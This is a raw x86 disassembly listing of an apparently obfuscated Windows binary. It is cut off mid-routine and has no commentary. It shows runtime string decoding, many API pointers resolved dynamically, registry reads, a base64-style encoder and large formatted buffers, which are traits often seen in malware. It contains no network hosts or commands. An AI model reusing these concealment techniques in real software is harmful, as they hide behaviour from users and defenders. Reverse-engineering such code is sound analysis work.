		mov	edi, dword_54F1DC
		jmp	loc_4403E8
; ---------------------------------------------------------------------------


loc_440311:				; CODE XREF: sub_43FD1A+6E1j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_4CA55C[eax]
		jnz	short loc_440348
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_4CA57C[eax]
		call	ds:dword_4CC8F8
		jmp	loc_440401
; ---------------------------------------------------------------------------


loc_440348:				; CODE XREF: sub_43FD1A+608j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_4CA568[eax]
		jnz	short loc_44037F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_4CA578[eax]
		call	ds:dword_4CC8F8
		jmp	loc_440401
; ---------------------------------------------------------------------------


loc_44037F:				; CODE XREF: sub_43FD1A+63Fj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	esi, ds:dword_4CA560[eax]
		jnz	short loc_4403B3
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_4CA570[eax]
		call	ds:dword_4CC8F8
		jmp	short loc_440401
; ---------------------------------------------------------------------------


loc_4403B3:				; CODE XREF: sub_43FD1A+676j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	esi, ds:dword_4CA564[eax]
		jnz	short loc_4403E7
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_4CA574[eax]
		call	ds:dword_4CC8F8
		jmp	short loc_440401
; ---------------------------------------------------------------------------


loc_4403E7:				; CODE XREF: sub_43FD1A+6AAj
		inc	edi


loc_4403E8:				; CODE XREF: sub_43FD1A+5F2j
		mov	eax, dword_54F0E8
		add	eax, 5Eh
		movsx	edx, word_54F0B4
		add	eax, edx
		cmp	edi, eax
		jb	loc_440311


loc_440401:				; CODE XREF: sub_43FD1A+629j
					; sub_43FD1A+660j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_43FD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440408	proc near		; CODE XREF: sub_43C501+A6p
					; sub_43C501+DCp

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		movsx	eax, word_54F0D0
		movsx	edx, word_54F148
		add	eax, edx
		sub	eax, 7
		cmp	byte ptr [edi+eax], 2Eh
		jz	short loc_440474
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4491A4
		push	offset dword_54FCAC
		call	sub_43AAF7
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_44602C
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44602C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4440DD
		add	esp, 20h


loc_440474:				; CODE XREF: sub_440408+25j
		pop	edi
		pop	esi
		leave
		retn
sub_440408	endp


; =============== S U B	R O U T	I N E =======================================



sub_440478	proc near		; CODE XREF: sub_43B0C6+C3p
					; sub_43B0C6+122p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [esp+8+arg_4]
		mov	ecx, dword_54F214
		add	ecx, 1Dh
		mov	eax, dword_54F21C
		movsx	edx, word_54F1F0
		add	eax, edx
		sub	eax, 9
		sub	ecx, eax
		jmp	short loc_4404BE
; ---------------------------------------------------------------------------


loc_4404A0:				; CODE XREF: sub_440478+4Ej
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jnb	short loc_4404AE
		xor	eax, eax
		jmp	short loc_4404CB
; ---------------------------------------------------------------------------


loc_4404AE:				; CODE XREF: sub_440478+30j
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jbe	short loc_4404BD
		xor	eax, eax
		inc	eax
		jmp	short loc_4404CB
; ---------------------------------------------------------------------------


loc_4404BD:				; CODE XREF: sub_440478+3Ej
		dec	ecx


loc_4404BE:				; CODE XREF: sub_440478+26j
		mov	eax, dword_54F224
		dec	eax
		cmp	ecx, eax
		jge	short loc_4404A0
		xor	eax, eax
		inc	eax


loc_4404CB:				; CODE XREF: sub_440478+34j
					; sub_440478+43j
		pop	esi
		pop	ebx
		retn
sub_440478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4404CE	proc near		; CODE XREF: sub_43EA1B+27Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		xor	edi, edi
		jmp	short loc_4404FF
; ---------------------------------------------------------------------------


loc_4404DE:				; CODE XREF: sub_4404CE+37j
		mov	edx, ds:dword_4499E0[edi*4]
		mov	ds:dword_446008, edx
		push	offset sub_43D41A
		push	ebx
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_446008
		inc	edi


loc_4404FF:				; CODE XREF: sub_4404CE+Ej
		cmp	edi, dword_54F2A4
		jb	short loc_4404DE
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4404CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44050C	proc near		; CODE XREF: sub_44526D+1E1p
					; sub_44526D+204p ...

var_4B		= byte ptr -4Bh
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		call	ds:dword_54CA70
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_54F0B8
		sub	esi, 4
		jmp	short loc_440578
; ---------------------------------------------------------------------------


loc_44052C:				; CODE XREF: sub_44050C+7Ej
		mov	edx, dword_54F1EC
		sub	edx, 3
		cmp	ds:dword_4480E0[esi*4],	edx
		jz	short loc_440577
		mov	edx, ds:dword_4CB950[esi*4]
		mov	ecx, dword_54F0D8
		add	ecx, 0EA5Ah
		mov	eax, dword_54F0A0
		add	eax, dword_54F158
		dec	eax
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_4]
		jnb	short loc_440577
		mov	edx, dword_54F1B0
		sub	edx, 7
		mov	ds:dword_4480E0[esi*4],	edx


loc_440577:				; CODE XREF: sub_44050C+30j
					; sub_44050C+59j
		inc	esi


loc_440578:				; CODE XREF: sub_44050C+1Ej
		mov	eax, dword_54F1D0
		add	eax, 3E0h
		add	eax, dword_54F0EC
		cmp	esi, eax
		jb	short loc_44052C


loc_44058C:				; CODE XREF: sub_44050C+A3j
					; sub_44050C+256j
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_440768
		movsx	eax, word_54F164
		add	eax, 3
		cmp	[ebp+var_10], eax
		ja	short loc_44058C
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	edx, dword_54F158
		add	edx, dword_54F124
		dec	edx
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4405CD:				; CODE XREF: sub_44050C+C6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4405CD
		mov	[ebp+var_C], eax
		mov	eax, dword_54F248
		mov	edi, eax
		add	edi, dword_54F0AC
		sub	edi, 0Bh
		jmp	short loc_44061E
; ---------------------------------------------------------------------------


loc_4405E9:				; CODE XREF: sub_44050C+11Ej
		mov	edx, dword_54F1EC
		add	edx, dword_54F0A4
		sub	edx, 0Ah
		cmp	ds:dword_4480E0[edi*4],	edx
		jz	short loc_44061D
		mov	edx, [ebp+var_8]
		cmp	ds:dword_447020[edi*4],	edx
		jnz	short loc_44061D
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+arg_10]
		jz	loc_44074D


loc_44061D:				; CODE XREF: sub_44050C+F3j
					; sub_44050C+FFj
		inc	edi


loc_44061E:				; CODE XREF: sub_44050C+DBj
		mov	eax, dword_54F20C
		add	eax, 3E4h
		cmp	edi, eax
		jb	short loc_4405E9
		mov	eax, dword_54F188
		add	eax, 3BBh
		cmp	[ebp+var_C], eax
		jbe	loc_4406F7
		mov	eax, dword_54F120
		inc	eax
		add	eax, dword_54F1BC
		push	eax
		lea	eax, [ebp+var_4B]
		push	eax
		call	sub_43CDF9
		add	esp, 8
		mov	eax, dword_54F1BC
		add	eax, 3B2h
		movsx	edx, word_54F1C4
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	eax, dword_54F22C
		sub	eax, 7
		mov	[ebp+var_18], eax


loc_440679:				; CODE XREF: sub_44050C+1E9j
		mov	eax, [ebp+var_14]
		mov	al, [ebx+eax]
		mov	[ebp+var_19], al
		mov	eax, [ebp+var_14]
		movsx	edx, word_54F1C4
		add	edx, dword_54F1F4
		sub	edx, 11h
		mov	[ebx+eax], dl
		push	offset dword_447FE0
		push	[ebp+var_C]
		push	[ebp+var_18]
		lea	eax, [ebp+var_4B]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	eax, word_54F208
		dec	eax
		and	eax, 0FFh
		push	eax
		call	sub_440B82
		add	esp, 24h
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	dl, [ebp+var_19]
		mov	[ebx+eax], dl
		mov	eax, dword_54F230
		add	eax, 3BFh
		add	[ebp+var_14], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_14], eax
		jbe	short loc_4406ED
		mov	[ebp+var_14], eax


loc_4406ED:				; CODE XREF: sub_44050C+1DCj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jnb	short loc_440748
		jmp	short loc_440679
; ---------------------------------------------------------------------------


loc_4406F7:				; CODE XREF: sub_44050C+12Dj
		push	offset byte_54FCA7
		call	sub_43AAF7
		push	offset dword_447FE0
		push	[ebp+var_C]
		movsx	edx, word_54F1A4
		movsx	ecx, word_54F198
		add	edx, ecx
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	edx, dword_54F0A0
		add	edx, dword_54F114
		sub	edx, 4
		and	edx, 0FFh
		push	edx
		call	sub_440B82
		add	esp, 28h


loc_440748:				; CODE XREF: sub_44050C+1E7j
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44074D:				; CODE XREF: sub_44050C+10Bj
		mov	eax, [ebp+var_C]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, dword_54F228
		add	edx, 0Ch
		cmp	[eax], edx
		jbe	loc_44058C


loc_440768:				; CODE XREF: sub_44050C+90j
		push	offset byte_54FCA3
		call	sub_43AAF7
		push	offset dword_447FE0
		mov	edx, dword_54F1D8
		movsx	ecx, word_54F0D0
		add	edx, ecx
		sub	edx, 0Ah
		push	edx
		movsx	edx, word_54F13C
		sub	edx, 9
		push	edx
		push	eax
		push	edx
		movsx	edx, word_54F1A4
		sub	edx, 6
		push	edx
		movsx	edx, word_54F118
		sub	edx, 8
		push	edx
		push	[ebp+arg_8]
		mov	edx, dword_54F1E0
		add	edx, dword_54F1E4
		sub	edx, 7
		and	edx, 0FFh
		push	edx
		call	sub_440B82
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44050C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4407D3	proc near		; CODE XREF: sub_444ED7+25p
		push	edi
		push	offset word_54FC96
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F264, eax
		mov	eax, dword_54F1B8
		add	eax, dword_54F204
		sub	eax, 6
		cmp	dword_54F264, eax
		jnz	short loc_440818
		push	offset byte_54FC89
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F264, eax


loc_440818:				; CODE XREF: sub_4407D3+2Cj
		push	offset byte_54FC77
		call	sub_43AAF7
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_44908C, eax
		push	offset byte_54FC67
		call	sub_43AAF7
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_449084, eax
		push	offset dword_54FC54
		call	sub_43AAF7
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_54E048, eax
		push	offset dword_54FC40
		call	sub_43AAF7
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_4495D4, eax
		push	offset byte_54FC31
		call	sub_43AAF7
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_50C93C, eax
		push	offset dword_54FC20
		call	sub_43AAF7
		add	esp, 18h
		push	eax
		push	dword_54F264
		call	ds:dword_4491AC
		mov	ds:dword_48A1EC, eax
		pop	edi
		retn
sub_4407D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4408C5	proc near		; CODE XREF: sub_444ED7+2Ap
		push	edi
		push	offset word_54FC12
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F25C, eax
		movsx	eax, word_54F1C4
		sub	eax, 8
		cmp	dword_54F25C, eax
		jnz	short loc_440906
		push	offset dword_54FC04
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F25C, eax


loc_440906:				; CODE XREF: sub_4408C5+28j
		push	offset word_54FBF2
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4495C8, eax
		push	offset dword_54FBE0
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4CC914, eax
		push	offset byte_54FBC9
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4495A4, eax
		push	offset word_54FBB6
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4CB93C, eax
		push	offset byte_54FBA5
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_50C930, eax
		push	offset asc_54FB97 ; "\n"
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_54C958, eax
		push	offset byte_54FB85
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_449090, eax
		push	offset asc_54FB79 ; "\b"
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4899FC, eax
		push	offset asc_54FB6D ; "\b"
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4CC8F4, eax
		push	offset byte_54FB59
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_54CB00, eax
		push	offset byte_54FB49
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_446018, eax
		push	offset byte_54FB37
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4495AC, eax
		push	offset word_54FB26
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_447FD0, eax
		push	offset dword_54FB14
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_54DF38, eax
		push	offset byte_54FB01
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4CC8F8, eax
		push	offset dword_54FAF0
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_54C950, eax
		push	offset byte_54FAE3
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_446004, eax
		push	offset dword_54FAD4
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_4CA548, eax
		push	offset dword_54FAC0
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_447018, eax
		push	(offset	asc_54FAB0+2)
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_447000, eax
		push	offset dword_54FA9C
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_447010, eax
		push	offset word_54FA8A
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_54C954, eax
		push	offset byte_54FA79
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		mov	ds:dword_48A1E8, eax
		push	offset word_54FA6A
		call	sub_43AAF7
		push	eax
		call	sub_443A0A
		add	esp, 0C0h
		mov	ds:dword_50C938, eax
		pop	edi
		retn
sub_4408C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_440B06	proc near		; CODE XREF: sub_444ED7+302p
		push	2
		call	sub_441DB2
		push	0
		call	sub_441DB2
		add	esp, 8
		retn
sub_440B06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440B18	proc near		; CODE XREF: sub_43F81A+79p
					; sub_43F81A+197p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		movsx	eax, word_54F0CC
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44959C
		mov	edi, eax
		or	edi, edi
		jz	short loc_440B45
		xor	eax, eax
		jmp	short loc_440B7F
; ---------------------------------------------------------------------------


loc_440B45:				; CODE XREF: sub_440B18+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		mov	eax, dword_54F0E4
		add	eax, dword_54F1B0
		sub	eax, 0Ch
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_44604C
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_4CC904
		or	edi, edi
		jz	short loc_440B7C
		xor	eax, eax
		jmp	short loc_440B7F
; ---------------------------------------------------------------------------


loc_440B7C:				; CODE XREF: sub_440B18+5Ej
		xor	eax, eax
		inc	eax


loc_440B7F:				; CODE XREF: sub_440B18+2Bj
					; sub_440B18+62j
		pop	edi
		leave
		retn
sub_440B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440B82	proc near		; CODE XREF: sub_43C284+CAp
					; sub_44050C+1B5p ...

var_2F038	= dword	ptr -2F038h
var_2F033	= byte ptr -2F033h
var_F034	= dword	ptr -0F034h
var_F030	= dword	ptr -0F030h
var_F02B	= byte ptr -0F02Bh
var_F02A	= dword	ptr -0F02Ah
var_F022	= byte ptr -0F022h
var_EF23	= byte ptr -0EF23h
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 2F038h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		movsx	edi, word_54F164
		imul	edi, 3C0h
		movsx	esi, word_54F0C4
		add	esi, 0EA5Ah
		lea	edi, [edi+esi+3C0h]
		shl	edi, 1
		mov	[ebp+var_2F038], edi
		push	edi
		call	sub_445539
		add	esp, 4
		mov	[ebp+var_F02A],	eax
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_54F1CC
		add	edx, dword_54F1EC
		sub	edx, 0Bh
		cmp	eax, edx
		jnz	short loc_440C05
		push	offset asc_54FA5F ; "\a"
		call	sub_43AAF7
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50C928
		add	esp, 8
		jmp	loc_440DD8
; ---------------------------------------------------------------------------


loc_440C05:				; CODE XREF: sub_440B82+5Ej
		call	ds:dword_48A1F0
		mov	ebx, eax
		mov	[ebp+var_F02B],	bl
		push	offset byte_54FA3D
		call	sub_43AAF7
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EF23]
		push	edi
		call	ds:dword_4491A4
		add	esp, 8
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_54F148
		add	edx, dword_54F16C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_440CA6
		movsx	eax, word_54F194
		mov	edx, dword_54F0C0
		lea	eax, [eax+edx+4]
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_F022]
		push	eax
		push	[ebp+arg_8]
		call	sub_441795
		add	esp, 0Ch
		push	offset byte_54FA29
		call	sub_43AAF7
		add	esp, 4
		movzx	edi, [ebp+var_F02B]
		push	edi
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50C928
		add	esp, 14h


loc_440CA6:				; CODE XREF: sub_440B82+C5j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_54F0B4
		add	edx, dword_54F124
		sub	edx, 7
		cmp	eax, edx
		jnz	loc_440DD8
		movsx	eax, word_54F1A4
		movsx	edx, word_54F0F8
		add	eax, edx
		sub	eax, 0Bh
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_F022]
		push	eax
		push	dword_54F2C4
		call	sub_441795
		add	esp, 0Ch
		push	offset word_54F9E2
		call	sub_43AAF7
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		movsx	ebx, word_54F148
		mov	edx, dword_54F134
		lea	ebx, [ebx+edx+3]
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_F02B]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		movsx	esi, word_54F13C
		add	esi, dword_54F1B8
		sub	esi, 9
		sub	edi, esi
		push	edi
		push	offset dword_48A200
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50C928
		add	esp, 38h
		mov	eax, dword_54F224
		cmp	[ebp+arg_10], eax
		jnz	short loc_440DD8
		dec	eax
		cmp	[ebp+arg_18], eax
		jnz	short loc_440DD8
		push	offset word_54F9BE
		call	sub_43AAF7
		add	esp, 4
		push	offset byte_54CB10
		movsx	edi, word_54F104
		mov	esi, dword_54F114
		lea	edi, [edi+esi+5]
		push	edi
		push	[ebp+arg_20]
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_2F033]
		push	edi
		call	ds:dword_50C928
		add	esp, 1Ch
		lea	eax, [ebp+var_2F033]
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		call	ds:dword_44602C
		add	esp, 8


loc_440DD8:				; CODE XREF: sub_440B82+7Ej
					; sub_440B82+13Aj ...
		push	[ebp+var_2F038]
		push	[ebp+var_F02A]
		movsx	eax, word_54F1CC
		add	eax, dword_54F0E4
		sub	eax, 0Dh
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		movsx	eax, word_54F244
		sub	eax, 7
		push	eax
		push	0
		call	ds:dword_50C934
		push	offset asc_54F9A4 ; "\t"
		call	sub_43DEC5
		add	esp, 4
		push	eax
		call	ds:dword_44700C
		mov	[ebp+var_F030],	eax
		push	[ebp+var_F02A]
		call	ds:dword_44700C
		mov	[ebp+var_F034],	eax
		push	eax
		push	[ebp+var_F030]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_F030]
		call	ds:dword_54DF34
		push	[ebp+var_F034]
		call	ds:dword_54DF34
		lea	esp, [ebp-2F044h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440E73	proc near		; CODE XREF: sub_43D41A+B4p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_440EAB
		xor	eax, eax
		jmp	loc_440FAB
; ---------------------------------------------------------------------------


loc_440EAB:				; CODE XREF: sub_440E73+2Fj
		push	offset a@	; "@"
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	offset byte_54DF40
		call	sub_4455D4
		jmp	short loc_440EF8
; ---------------------------------------------------------------------------


loc_440EC3:				; CODE XREF: sub_440E73+98j
		push	esi
		push	[ebp+arg_0]
		call	sub_43D98E
		add	esp, 8
		mov	eax, dword_54F0C0
		inc	eax
		sub	ebx, eax
		movsx	eax, word_54F1F0
		sub	eax, 3
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		mov	eax, dword_54F1B8
		add	eax, dword_54F1D4
		sub	eax, 8
		lea	esi, [esi+eax]


loc_440EF8:				; CODE XREF: sub_440E73+4Ej
		mov	eax, dword_54F0B0
		movsx	edx, word_54F210
		add	eax, edx
		sub	eax, 7
		cmp	ebx, eax
		jnb	short loc_440EC3
		mov	eax, dword_54F1AC
		sub	eax, 2
		cmp	ebx, eax
		jbe	short loc_440F91
		push	3
		mov	eax, dword_54F1B4
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CB934
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CB814
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_43D98E
		add	esp, 20h
		movsx	eax, word_54F164
		movsx	edx, word_54F09C
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_440F74
		movsx	eax, word_54F0F8
		add	eax, dword_54F124
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh


loc_440F74:				; CODE XREF: sub_440E73+EBj
		mov	eax, dword_54F1BC
		add	eax, dword_54F0C0
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh
		movsx	eax, word_54F148
		lea	esi, [eax+esi+3]


loc_440F91:				; CODE XREF: sub_440E73+A4j
		movsx	eax, word_54F240
		sub	eax, 8
		movsx	edx, word_54F210
		sub	edx, 5
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_440FAB:				; CODE XREF: sub_440E73+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440E73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440FB0	proc near		; CODE XREF: sub_444ED7+3Ep

var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_10F		= byte ptr -10Fh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_44122A
		or	eax, eax
		jz	loc_441202
		mov	[ebp+var_204], 0FFh
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_4495A0
		mov	eax, dword_54F108
		add	eax, dword_54F234
		movsx	eax, [ebp+eax+var_10F]
		mov	edx, dword_54F19C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_44100F
		xor	eax, eax
		inc	eax
		jmp	loc_441202
; ---------------------------------------------------------------------------


loc_44100F:				; CODE XREF: sub_440FB0+55j
		push	offset byte_54F951
		call	sub_43AAF7
		movsx	edx, word_54F138
		sub	edx, 2
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_43DE22
		add	esp, 10h
		mov	edx, eax
		movsx	ecx, word_54F0C4
		mov	eax, dword_54F12C
		lea	ecx, [ecx+eax+0FFF1h]
		cmp	edx, ecx
		jz	short loc_441055
		xor	eax, eax
		inc	eax
		jmp	loc_441202
; ---------------------------------------------------------------------------


loc_441055:				; CODE XREF: sub_440FB0+9Bj
		push	offset byte_54F947
		call	sub_43AAF7
		mov	edx, dword_54F228
		sub	edx, 7
		push	edx
		push	eax
